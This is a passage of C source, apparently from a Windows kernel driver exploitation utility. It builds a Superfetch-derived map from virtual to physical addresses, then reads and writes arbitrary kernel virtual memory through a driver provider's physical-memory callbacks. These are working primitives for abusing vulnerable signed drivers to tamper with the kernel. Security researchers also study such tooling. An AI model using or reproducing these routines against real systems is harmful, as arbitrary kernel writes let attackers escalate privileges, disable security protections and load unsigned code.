{
if (MemoryMap->TranslationTable) {
supHeapFree(MemoryMap->TranslationTable);
MemoryMap->TranslationTable = NULL;
}
MemoryMap->TableSize = 0;
MemoryMap->RangeCount = 0;
}
/*
* supSuperfetchVirtualToPhysical
*
* Purpose:
*
* Translate virtual address to physical using pre-built memory map.
*
*/
BOOL supSuperfetchVirtualToPhysical(
_In_ PSUPERFETCH_MEMORY_MAP MemoryMap,
_In_ ULONG_PTR VirtualAddress,
_Out_ PULONG_PTR PhysicalAddress)
{
ULONG_PTR i;
ULONG_PTR alignedVA;
ULONG_PTR pageOffset;
PSUPERFETCH_TRANSLATION_ENTRY table;
*PhysicalAddress = 0;
if (MemoryMap == NULL || MemoryMap->TranslationTable == NULL)
return FALSE;
alignedVA = VirtualAddress & ~(PAGE_SIZE - 1);
pageOffset = VirtualAddress & (PAGE_SIZE - 1);
table = MemoryMap->TranslationTable;
for (i = 0; i < MemoryMap->TableSize; i++) {
if (table[i].VirtualAddress == alignedVA) {
*PhysicalAddress = table[i].PhysicalAddress + pageOffset;
return TRUE;
}
}
return FALSE;
}
/*
* supEnsureSuperfetchMemoryMap
*
* Purpose:
*
* Initialize shared Superfetch memory map once and return pointer to it.
*
*/
BOOL supEnsureSuperfetchMemoryMap(
_Out_ PSUPERFETCH_MEMORY_MAP* MemoryMap)
{
static LONG g_SuperfetchMemoryMapLock = 0;
if (MemoryMap == NULL)
return FALSE;
*MemoryMap = NULL;
while (InterlockedCompareExchange(&g_SuperfetchMemoryMapLock, 1, 0) != 0) {
Sleep(0);
}
if (!g_SuperfetchMemoryMapInitialized) {
if (!supBuildSuperfetchMemoryMap(&g_SuperfetchMemoryMap)) {
InterlockedExchange(&g_SuperfetchMemoryMapLock, 0);
return FALSE;
}
g_SuperfetchMemoryMapInitialized = TRUE;
supPrintfEvent(kduEventInformation,
"[+] Superfetch memory map built: 0x%llX entries from 0x%lX ranges\r\n",
g_SuperfetchMemoryMap.TableSize,
g_SuperfetchMemoryMap.RangeCount);
}
*MemoryMap = &g_SuperfetchMemoryMap;
InterlockedExchange(&g_SuperfetchMemoryMapLock, 0);
return TRUE;
}
/*
* supVirtualToPhysicalWithSuperfetch
*
* Purpose:
*
* Translate virtual address to physical using shared Superfetch map.
*
*/
BOOL supVirtualToPhysicalWithSuperfetch(
_In_ ULONG_PTR VirtualAddress,
_Out_ ULONG_PTR* PhysicalAddress)
{
PSUPERFETCH_MEMORY_MAP memoryMap;
if (PhysicalAddress == NULL)
return FALSE;
*PhysicalAddress = 0LL;
if (!supEnsureSuperfetchMemoryMap(&memoryMap))
return FALSE;
return supSuperfetchVirtualToPhysical(memoryMap,
VirtualAddress,
PhysicalAddress);
}
/*
* supReadKernelVirtualMemoryWithSuperfetch
*
* Purpose:
*
* Read kernel virtual memory through Superfetch translation and provider physical read callback.
*
*/
BOOL supReadKernelVirtualMemoryWithSuperfetch(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_In_ PVOID Buffer,
_In_ ULONG NumberOfBytes,
_In_ supReadPhysicalMemoryCallback ReadPhysicalMemory)
{
ULONG_PTR currentVA;
ULONG_PTR currentPA;
ULONG bytesToRead;
ULONG bytesRemaining;
ULONG offset;
PBYTE destination;
if (DeviceHandle == NULL || Buffer == NULL || NumberOfBytes == 0 || ReadPhysicalMemory == NULL)
return FALSE;
destination = (PBYTE)Buffer;
currentVA = Address;
bytesRemaining = NumberOfBytes;
offset = 0;
while (bytesRemaining > 0) {
if (!supVirtualToPhysicalWithSuperfetch(currentVA, &currentPA))
return FALSE;
bytesToRead = PAGE_SIZE - (ULONG)(currentVA & (PAGE_SIZE - 1));
if (bytesToRead > bytesRemaining)
bytesToRead = bytesRemaining;
if (!ReadPhysicalMemory(DeviceHandle,
currentPA,
destination + offset,
bytesToRead))
{
return FALSE;
}
currentVA += bytesToRead;
offset += bytesToRead;
bytesRemaining -= bytesToRead;
}
return TRUE;
}
/*
* supWriteKernelVirtualMemoryWithSuperfetch
*
* Purpose:
*
* Write kernel virtual memory through Superfetch translation and provider physical write callback.
*
*/
BOOL supWriteKernelVirtualMemoryWithSuperfetch(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_In_ PVOID Buffer,
_In_ ULONG NumberOfBytes,
_In_ supWritePhysicalMemoryCallback WritePhysicalMemory)
{
ULONG_PTR currentVA;
ULONG_PTR currentPA;
ULONG bytesToWrite;
ULONG bytesRemaining;
ULONG offset;
PBYTE source;
if (DeviceHandle == NULL || Buffer == NULL || NumberOfBytes == 0 || WritePhysicalMemory == NULL)
return FALSE;
source = (PBYTE)Buffer;
currentVA = Address;
bytesRemaining = NumberOfBytes;
offset = 0;
while (bytesRemaining > 0) {
if (!supVirtualToPhysicalWithSuperfetch(currentVA, &currentPA))
return FALSE;
bytesToWrite = PAGE_SIZE - (ULONG)(currentVA & (PAGE_SIZE - 1));
if (bytesToWrite > bytesRemaining)
bytesToWrite = bytesRemaining;
if (!WritePhysicalMemory(DeviceHandle,
currentPA,
source + offset,
bytesToWrite))
{
return FALSE;
}
currentVA += bytesToWrite;
offset += bytesToWrite;
bytesRemaining -= bytesToWrite;
}
return TRUE;
}
/*
* supFreeSuperfetchMemoryMapCache
*
* Purpose:
*
* Free shared Superfetch memory map cache.
*
*/
VOID supFreeSuperfetchMemoryMapCache(
VOID)
{
if (g_SuperfetchMemoryMapInitialized) {
supFreeSuperfetchMemoryMap(&g_SuperfetchMemoryMap);
g_SuperfetchMemoryMapInitialized = FALSE;
}
}
/*
* supCalcPhysMapParams
*
* Purpose:
*
* Map-size/page-offset calculation helper for some providers.
*
*/
VOID supCalcPhysMapParams(
_In_ ULONG_PTR PhysicalAddress,
_In_ ULONG NumberOfBytes,
_Out_ ULONG_PTR* PageBase,
_Out_ ULONG_PTR* Offset,
_Out_ ULONG_PTR* MapSize)
{
ULONG_PTR pageBase;
ULONG_PTR offset;
pageBase = PhysicalAddress & ~(PAGE_SIZE - 1);
offset = PhysicalAddress - pageBase;
*PageBase = pageBase;
*Offset = offset;
*MapSize = offset + NumberOfBytes;
}